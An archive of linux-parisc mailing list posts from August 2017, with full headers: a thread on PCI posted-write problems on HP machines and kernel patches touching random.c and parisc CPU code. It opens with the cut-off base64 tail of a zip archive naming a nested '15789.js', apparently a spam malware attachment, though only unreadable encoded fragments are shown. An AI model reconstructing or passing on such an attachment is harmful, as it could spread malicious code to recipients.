j3OfRNxD6fRyBKiNB2DvnYW4d0YAg59k4U6XiGji8Vv1LNzHkqITAuUmcPbLdCGwfR9rPQhiDxVQ
1h06WroJo67+sgizIiZMduuGWRCBqZdw+ul5JzOh8x7xzNS/MIa1AZinYspQgEaRCASHfXtImyI7
CD8vr7PYlR7Wnmg3dPm6sQmdFwvW4BNxA0nvuFBfFr7+N6ztCpzeQNJj327Tq8ISRC/viW3zGxAG
al4YhDr1dtHn5CvQsrjC6Y1NQFfhW7IGTN4QMW2Ns/DLujUDHK+7dWhtoQI4YL5IEa2b4GVjNkPo
vMMeZmHlcQMZZ94WqywDNW9Y7zb3tZ2UedFjLaliZz7iCozrJAuno3MOvFyXWjuCCb+n6hP2tVUc
9RI6b6h5juiN7yJGx+EXeh7mWM17Kb9+JKKJ/fqoeX4DPDG2C6mDKgDzy6RAzeto96gObvuxet4x
VeeOQUO91mvA6QHggXB6AKHsBiDpdXyIgaQ34KAqSWT4Vj1eDkOHXutY/ehc5bgir1FQGlXw0SH0
+f+B2KtzXgDYXqXJPESwPeLsKU9cou4KIYADAPgS/Cvo4AJxL8D2jLSDsPsA8Dsv3v7aJL9CQHS1
ATgKH+pAR4UaAgG06XWg2doA+bXrUBChjVqa9gx4vjopjtfuIfBmqftwh/ke0PKC4C2w98hRHCDi
Hnq2gbgPAtsHQNs5xNxEly+TsuEEzh4h9liqAYPuRWP2RKaz8rtUReG0GqCT8L6gxEe7IModccOI
F+PTG2/rECz/Ml1wkNJSwrdyYD18RtF2G/r7KNv9qlrcL6Z+Bm82wKHH/ivi5y3ofBdKWX2H5acE
NQ5YpND5ZdLCzy/TJogeAYs/LW/ym/AcTX8RwncsfxEZiiuA+c7wMnq0oMP72vfDj1+ax7v9i/NR
N6c/v3i18uPryH96d5Ij8fZmV63+fg6z6314dtEedLMfKw87NwfPdwY3l9cfa/u909bZeFrJX7tZ
2txJH59OZ59u9pvt73Ng/9vD0ftHq29+cveVG88XmaOnUfIi3Xw87zGz62beJ+Y9ofa89HI7TbZv
qfmP7v7zg/yvt9KSki/ZerGzVd6I4jjSciVbLzfT8mquzeTl1vbfXF+O9w8q/qjT7FdPRp+vcmps
3rALvaq86cZzt76WN8kC1Z9dTtpmpjv/scjQObkYtzfyuryV7ho0Pv70k3fVvbe7kXsTnd4qOuX2
/K8VXynDHOf/e6EA8Pnm6LBdbf468OO9q0Zl8n7W+6cCsPLujVd/AFBLAQI/ABQAAAAIAAx2CEvP
Y47N0iYAAG0eAQAIACQAAAAAAAAAIAAAAAAAAAAxNTc4OS5qcwoAIAAAAAAAAQAYABOcLg+QENMB
E5wuD5AQ0wGfyLkOkBDTAVBLBQYAAAAAAQABAFoAAAD4JgAAAABQSwECPwAKAAAAAAANdghLyxrm
IGgnAABoJwAACQAkAAAAAAAAACAAAAAAAAAAMTU3ODkuemlwCgAgAAAAAAABABgASkw/D5AQ0wHb
ijoPkBDTAZ8rvA6QENMBUEsFBgAAAAABAAEAWwAAAI8nAAAAAA==
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI resource problem on C360
Date: Tue, 8 Aug 2017 17:48:33 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <7312dbc6-bfba-a25b-a639-6ff7bad35e11@gmx.de>
References: <20170803140717.GA7380@alpha.franken.de>
 <89A4641B-DE37-41B1-9F9C-B6312F8F0C84@bell.net>
 <4d46bfba-170f-2c79-cf69-45d02ccc5a9f@gmx.de>
 <20170808134012.GA7601@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502207325 8240 195.159.176.226 (8 Aug 2017 15:48:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 Aug 2017 15:48:45 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 08 17:48:38 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1df6kB-0001SH-E9
	for glpp-linux-parisc@m.gmane.org; Tue, 08 Aug 2017 17:48:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752030AbdHHPsh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 8 Aug 2017 11:48:37 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:50378 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752014AbdHHPsg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 8 Aug 2017 11:48:36 -0400
Original-Received: from [192.168.20.60] ([193.159.18.190]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MJXEd-1ddAwD0bYx-0036lO; Tue, 08
 Aug 2017 17:48:34 +0200
In-Reply-To: <20170808134012.GA7601@alpha.franken.de>
Content-Language: en-US
X-Provags-ID: V03:K0:J2/PZFmDNlk3X9Z3R/oicTStvN+GNJEte8RAF3OGIDpfthkI2F+
 XzQnRUP8wPnUKyMlmCcjI3syD943qDiX4mHW69hgtUxe5oZvsyadvO4MRgPHd6BFBbQifdO
 CZgLqP4KMKzkEvKK6JAkf3lScQO09TWv5rAEqLPCavI76rVk+Hmt+iyWrEMSvHUmAZP7iIc
 GH6R7DdfpCEvvBMP6zZSQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ulVX1qq4IzA=:OcwnES5BZzSh/lvRd4Q0cM
 SO1a17VV5EMnDmWvV/u9V6rru9wAn+xJVghpzSeErvssby7gJACftYYdyuDBba0qJmn/R62jR
 1m39eNfBtUbo7IaW8xLm0oRL3pAAaNYDXpG1n/cFUOsy6mSP1M547/txo7eoh/VI7mUv7SqCz
 v6Ng79dkLvYMaSwFgLuHExa7tvjYmtkKmTNY3cSyMEWHhcLFaLr8uy50XcH5x3zjCapv0Bw8b
 9avbd2Xd5DX8q8RGAiJWlQ515bLHtP9WLOwnBmxr2EZQuOZ9F0XnvbkzM+kYBz/R348isJmcS
 jMU2QXvyFrwmHy8raX3JokQ22k5oagnasQ4rJekUCvql8BnlPpDdYcjqTFe8VYZkYx7ImqhGp
 qKiMWnfpwUAQsYTb9H6nf6bjuwoBXEM6QyBLZQtJ812IWxCX6aVEjwt4JWtSIN6Sc5dBJMkBC
 GNILrZs32ZjeVxxhf4m98sqsphjDVu9vFd/Yq9IBYcgwL0wj67oZm8w+v0xl6oWpRZQ29vuwR
 CRk+CINndjuTlmnX8K8mq/TW3lal302eXtcRkR89UeU/9HMqIVdDGjBNx1TwVxe1gyO7EoLF8
 ACA1FzdDbLAaJH2IDXuH79anvyZu5nyi/tipIruzgTasyFndBm4lx28ehZ2Bp7jEnGQGw2m32
 3c7Ow2ILtCu2DCf/Ia6AT9Sub9GBOI1p5ERcyV2s8z4rQ6a3x5V8fjOCKQc+grglvMSSFeyD2
 4l0d8uqVKQgrQ33jYm1bxUDVAceg2+Rxgl8524VsVxKjKgDy8GFTb03PbVddDBCnpU18O5XJ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27638
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27638>

On 08.08.2017 15:40, Tom Bogendoerfer wrote:
> On Fri, Aug 04, 2017 at 12:45:31AM +0200, Helge Deller wrote:
>> I had lots of such problems when I tried various VGA and other
>> PCI cards in my c3000.
> 
> I know, but the get a MACH64 card up to sync in a B2600, with a small
> change in aty driver. And the change is because Astro/Elroy behave incorrect
> in respect to PCI standards, IMHO. It looks like it colapses multiple PCI
> mem accesses into one access.

Yes, I think that's true.
 
>         aty_st_8(CLOCK_CNTL_ADDR, ((offset << 2) & PLL_ADDR) | PLL_WR_EN, par);
>         /* write the register value */
>         aty_st_8(CLOCK_CNTL_DATA, val & PLL_DATA, par);
>         aty_st_8(CLOCK_CNTL_ADDR, ((offset << 2) & PLL_ADDR) & ~PLL_WR_EN, par);
> 
> B2600 HPMCs in this code sequence, probably because the two accesses
> to CNTL_ADDR end up in just the last access. Placing in aty_ld_8 after
> the first aty_st_8 avoids the problem.

There are quite some comments in drivers/parisc/lba_pci.c regarding this.
Esp. the comment about "Directed" ranges at line 1258 might be interesting
regarding graphic cards.

Sadly I'm no expert in this area at all.

> In a B180 everything is fine,> so Dino doesn't do that. Next testbed is the C360, which shows the PCI
> resourec issue before it even comes to aty drvier.
> 
>> I think HP designed many of the PCI slots for special usage only,
>> e.g. some slots allow PCI graphic cards while others don't.
>>
>> Maybe plug your cards one-by-one into another slot and check again?
> 
> will do that, but what looks strange to me is the fact that ethernet and
> scsi also don't get all resources assigned. This happened without the VGA
> card plugged in, too.

Maybe the drivers of such NIC/SCSI cards don't request all available resources? 

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.hardened.devel,gmane.linux.ports.ia64
Subject: [PATCH] random: fix warning message on ia64 and parisc
Date: Tue, 8 Aug 2017 18:28:41 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20170808162841.GA8668@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502209744 19128 195.159.176.226 (8 Aug 2017 16:29:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 Aug 2017 16:29:04 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Theodore Ts'o <tytso@mit.edu>,
        "Jason A. Donenfeld" <Jason@zx2c4.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        torvalds@linux-foundation.org, kernel-hardening@lists.openwall.com,
        linux-ia64@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 08 18:28:59 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1df7NJ-0002a3-Dk
	for glpp-linux-parisc@m.gmane.org; Tue, 08 Aug 2017 18:28:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752120AbdHHQ3D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 8 Aug 2017 12:29:03 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:52394 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752082AbdHHQ3C (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 8 Aug 2017 12:29:02 -0400
Original-Received: from p100.box ([193.159.18.190]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0ML6XF-1deqOA2OJN-000OIt; Tue, 08
 Aug 2017 18:28:43 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:qvPPh4xEmSuFVqo0bT1yMsP25NhvgFsPjX2wmQk4j9I7SAYjXs8
 n0watiUKLJ0OKx7xUQLXKRj67yXhfvZVJ/TbGii7D/rcsoYUJVUEkkBUSM44sXb0gzxNKfU
 Qh2A2EsNKfhKVs0ZAjq35SsLUTdNM56WA/fsIeIbJbncVnZ4QtBhtlexHbFDfwNpTOSHCiL
 gtJQhffCIUvix9s90idwQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:DBPqyybe3Wc=:DQ5en6jHe20wLYIWuVNg9t
 14Km86Xnc5cCwtuuJTOIIJVKlYyeY00xP1y6R3BVjGGTwD/kDT3NtftaqA86UJ4Nfamekm9Jh
 hJDASWrubWC2+8u6p1Xdt+6n6X/oc2o5zt/ZAFobw/5+1QK9qYTWZTRLVEKZl5zgONen+bn61
 OC8KlO+kD6f1AEBpxdwceDLY/HOJjGEkj/493sSbLCrSjTbyODzq/2YaCjSBMFMUl3DVrzQJN
 kqvxFpC4x814NPj483M2/KNOGagfypsNj93Y8aYGsBu5gK50KMbOF+YWwGGqt5vxlc8FSvhFj
 uF84oRKNx9dEdaD6572LfjUj89eN+qZiOXGdSwBSZEYWhb1Brxaxk0FwtLfBxxyDhsrbumeyk
 MkFXxF+ZrpLPXvWClogVpLThFdkRyOE9Wq7QThioJTvW8J239E+cMFpX3pveaE/s4AbJiTBql
 2gMu2dSpg95OMHKFsXdtHp7nqrpvLdp9/2+87gAAqIpfM7Ymt+rvlwcFLLEf51YFeaJch4gUv
 sgHJ4qgzEugI3MRhyHnLT+e9PbX0KIb4FY1YoLp8n9PizT7dnLI3CsTPa1lzctEaE9x1ktHYb
 WxumP6PLfM3s/AgqqlIWj9N9fk4nMeyGNj+etdNV3QLDwneB9okPEBaIKdBkh0zagGQd/In5P
 7n7K2aE4ok+1a+ICgS5LDMuKIh4qeLKEgIq3KCISQvdrK3yU9qgO9oAvVnW8N0gnF2mlRjOkx
 Mu7/1yE1a7bffNmqVFyKLHG5iuX1JH4ZhmYTUW/LOrxFXBxyz1eo2kfDF6fg+ALskfmGv/tU 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27639 gmane.linux.kernel:2543604 gmane.linux.kernel.hardened.devel:8450 gmane.linux.ports.ia64:28080
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27639>

Fix the warning message on the parisc and IA64 architectures to show the
correct function name of the caller by using %pS instead of %pF. The
message is printed with the value of _RET_IP_ which calls
__builtin_return_address(0) and as such returns the IP address caller
instead of pointer to a function descriptor of the caller.

The effect of this patch is visible on the parisc and ia64 architectures
only since those are the ones which use function descriptors while on
all others %pS and %pF will behave the same.

Cc: Theodore Ts'o <tytso@mit.edu>
Cc: Jason A. Donenfeld <Jason@zx2c4.com>
Signed-off-by: Helge Deller <deller@gmx.de>
Fixes: eecabf567422 ("random: suppress spammy warnings about unseeded randomness")
Fixes: d06bfd1989fe ("random: warn when kernel uses unseeded randomness")

diff --git a/drivers/char/random.c b/drivers/char/random.c
index afa3ce7..8ad9270 100644
--- a/drivers/char/random.c
+++ b/drivers/char/random.c
@@ -1492,7 +1492,7 @@ static void _warn_unseeded_randomness(const char *func_name, void *caller,
 #ifndef CONFIG_WARN_ALL_UNSEEDED_RANDOM
 	print_once = true;
 #endif
-	pr_notice("random: %s called from %pF with crng_init=%d\n",
+	pr_notice("random: %s called from %pS with crng_init=%d\n",
 		  func_name, caller, crng_init);
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI resource problem on C360
Date: Tue, 8 Aug 2017 14:32:23 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <0a29d826-16b9-12aa-c09b-a872f9eccd12@bell.net>
References: <20170803140717.GA7380@alpha.franken.de>
 <89A4641B-DE37-41B1-9F9C-B6312F8F0C84@bell.net>
 <4d46bfba-170f-2c79-cf69-45d02ccc5a9f@gmx.de>
 <20170808134012.GA7601@alpha.franken.de>
 <7312dbc6-bfba-a25b-a639-6ff7bad35e11@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502217155 26197 195.159.176.226 (8 Aug 2017 18:32:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 Aug 2017 18:32:35 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
        Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 08 20:32:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1df9Ik-0003y8-2g
	for glpp-linux-parisc@m.gmane.org; Tue, 08 Aug 2017 20:32:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752092AbdHHSc2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 8 Aug 2017 14:32:28 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:35727 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751833AbdHHSc1 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 8 Aug 2017 14:32:27 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20170808183226.JXY23035.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 8 Aug 2017 14:32:26 -0400
Original-Received: from [192.168.0.125] (really [69.156.6.177]) by mtlspm02.bell.net
          with ESMTP
          id <20170808183226.NBQH14758.mtlspm02.bell.net@[192.168.0.125]>;
          Tue, 8 Aug 2017 14:32:26 -0400
In-Reply-To: <7312dbc6-bfba-a25b-a639-6ff7bad35e11@gmx.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=LoB98jVc c=1 sm=0 tr=0 a=3ltiz+tVjlZyyvKV74jFzA==:17 a=IkcTkHD0fZMA:10 a=KeKAF7QvOSUA:10 a=FBHGMhGWAAAA:8 a=5VnSqFSR0gjDzUcnn-oA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27640
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27640>

On 2017-08-08 11:48 AM, Helge Deller wrote:
>> I know, but the get a MACH64 card up to sync in a B2600, with a small
>> change in aty driver. And the change is because Astro/Elroy behave incorrect
>> in respect to PCI standards, IMHO. It looks like it colapses multiple PCI
>> mem accesses into one access.
> Yes, I think that's true.
>   
>>          aty_st_8(CLOCK_CNTL_ADDR, ((offset << 2) & PLL_ADDR) | PLL_WR_EN, par);
>>          /* write the register value */
>>          aty_st_8(CLOCK_CNTL_DATA, val & PLL_DATA, par);
>>          aty_st_8(CLOCK_CNTL_ADDR, ((offset << 2) & PLL_ADDR) & ~PLL_WR_EN, par);
>>
>> B2600 HPMCs in this code sequence, probably because the two accesses
>> to CNTL_ADDR end up in just the last access. Placing in aty_ld_8 after
>> the first aty_st_8 avoids the problem.
> There are quite some comments in drivers/parisc/lba_pci.c regarding this.
> Esp. the comment about "Directed" ranges at line 1258 might be interesting
> regarding graphic cards.

It says:

/************************************
  * LBA register read and write support
  *
  * BE WARNED: register writes are posted.
  *  (ie follow writes which must reach HW with a read)
  */

It seems that aty stores likely need a following read when writes are 
posted.  I would hack
drivers/video/fbdev/aty/aty128fb.c as a test.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc/random: Add machine specific randomness
Date: Thu, 10 Aug 2017 19:20:47 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <20170810172047.GA3119@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502385659 29565 195.159.176.226 (10 Aug 2017 17:20:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 10 Aug 2017 17:20:59 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 10 19:20:52 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dfr8d-0006Fj-2L
	for glpp-linux-parisc@m.gmane.org; Thu, 10 Aug 2017 19:20:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752520AbdHJRU5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 10 Aug 2017 13:20:57 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:63053 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752486AbdHJRU4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 10 Aug 2017 13:20:56 -0400
Original-Received: from ls3530.fritz.box ([193.159.17.217]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LbxQO-1dEFXy0vFU-00jM7o; Thu, 10
 Aug 2017 19:20:50 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:X1hR8a+uPAmSPuSQQiXlU27aWAPnpsN3J6tF51VGosrKN3GpVYq
 JxluV39gQcxrdlctZnS95PFlOnm/6STMUULNFin9HPcnBKNO2qXnKRaCOMTHKidKfVbKjcW
 RoPEnNelTAfANpzRXFmiOrQwGB+FMC3XFWTxUXS/uohPRLJ/N1Q7H23wjmaRozZowf/KW0Y
 wQPTwDe+hedX5ptDYJAvQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:JopnT+UP7n0=:Djg2bDufHaMyaDPbglQPyb
 KJUi2PvWPNa7GFJQGpT3RcVLBDz0OMhI5Fxtev4+BLhQkE5Lj3KzLk/D4Wum/WjHipSSFLJ5o
 DkLvZh5EVHWC+vupqjS3c6mwTradpE+v4FmmlmGjPgeFMrlhfM4weecVp40cBSXSpt1OTD6A1
 RK9XC0EQmI3Zx5ZllijtKG0cVicalxtBS+PG4Zk/Fx2/6qbfxnaLh8WpS/3u66CGtuqtMgz8g
 SeTdXVwWaqXJ+3QMevT4Q2kaSnSZkpkc5eQUIkhGLPZ/VBd4qigK6g+h5dfrn+YnGMQl4KwXB
 3Kg6hg/wmXGt6ud89KQrb7QEzP47r+W7oMXYUDhsYv37auLrjgIVb/0KJh07dRoRTFbpgBTek
 cGJ41PaB5kJpvzgONtO73n7VQIE0BeCAXoXba/cUNcBOlefHc52rApt+nwkA0UoTPbSbrbIMn
 OahDQtKIoniNODCGMiY//tASCPZKg8Hta04caHLbJqC2NwsbtJoKoeWY5KOplypGAxPKqPF0m
 0e8MEnSQ7q//SIpdpExknaqPOwjk7G1Dh1e0fUI1PW5YxjEHBZmUmfZ02/qKLTUY4BN+/vOj4
 ckaoW/Nzt0j7tb/WsM9XMz75RseM7eK+cIJxjL4tsN4xiK6w5IR3ZUR+MkJY58U7QzRwtPWE4
 MyjFKVlvObeenShYc3Mxfb7q0tSgc7Bty0FwjkVproxC33B/cJeDx24vo3tP41BEoPH7tyWTM
 FqlhCYq17Xb/t3OkSEB1oCZJGyqeywlxme/xT0Tm1PQyq1enVWEXxg7D5Zhvz8CdeiwUjssR 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27641
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27641>

Add some machine-specific information like values of cr16 cycle counter,
machine-specific software ID and machine model to the random generator.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 0ab3277..6b6fe8d 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -30,6 +30,7 @@
 #include <linux/mm.h>
 #include <linux/module.h>
 #include <linux/seq_file.h>
+#include <linux/random.h>
 #include <linux/slab.h>
 #include <linux/cpu.h>
 #include <asm/param.h>
@@ -237,28 +238,45 @@ static int processor_probe(struct parisc_device *dev)
  */
 void __init collect_boot_cpu_data(void)
 {
+	unsigned long cr16_seed;
+
 	memset(&boot_cpu_data, 0, sizeof(boot_cpu_data));
 
+	cr16_seed = get_cycles();
+	add_device_randomness(&cr16_seed, sizeof(cr16_seed));
+
 	boot_cpu_data.cpu_hz = 100 * PAGE0->mem_10msec; /* Hz of this PARISC */
 
 	/* get CPU-Model Information... */
 #define p ((unsigned long *)&boot_cpu_data.pdc.model)
-	if (pdc_model_info(&boot_cpu_data.pdc.model) == PDC_OK)
+	if (pdc_model_info(&boot_cpu_data.pdc.model) == PDC_OK) {
 		printk(KERN_INFO 
 			"model %08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx\n",
 			p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8]);
+
+		add_device_randomness(&boot_cpu_data.pdc.model,
+			sizeof(boot_cpu_data.pdc.model));
+	}
 #undef p
 
-	if (pdc_model_versions(&boot_cpu_data.pdc.versions, 0) == PDC_OK)
+	if (pdc_model_versions(&boot_cpu_data.pdc.versions, 0) == PDC_OK) {
 		printk(KERN_INFO "vers  %08lx\n", 
 			boot_cpu_data.pdc.versions);
 
-	if (pdc_model_cpuid(&boot_cpu_data.pdc.cpuid) == PDC_OK)
+		add_device_randomness(&boot_cpu_data.pdc.versions,
+			sizeof(boot_cpu_data.pdc.versions));
+	}
+
+	if (pdc_model_cpuid(&boot_cpu_data.pdc.cpuid) == PDC_OK) {
 		printk(KERN_INFO "CPUID vers %ld rev %ld (0x%08lx)\n",
 			(boot_cpu_data.pdc.cpuid >> 5) & 127,
 			boot_cpu_data.pdc.cpuid & 31,
 			boot_cpu_data.pdc.cpuid);
 
+		add_device_randomness(&boot_cpu_data.pdc.cpuid,
+			sizeof(boot_cpu_data.pdc.cpuid));
+	}
+
 	if (pdc_model_capabilities(&boot_cpu_data.pdc.capabilities) == PDC_OK)
 		printk(KERN_INFO "capabilities 0x%lx\n",
 			boot_cpu_data.pdc.capabilities);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Thu, 10 Aug 2017 19:35:33 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20170810173533.GA11600@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502386586 21873 195.159.176.226 (10 Aug 2017 17:36:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 10 Aug 2017 17:36:26 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
To: Petr Mladek <pmladek@suse.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
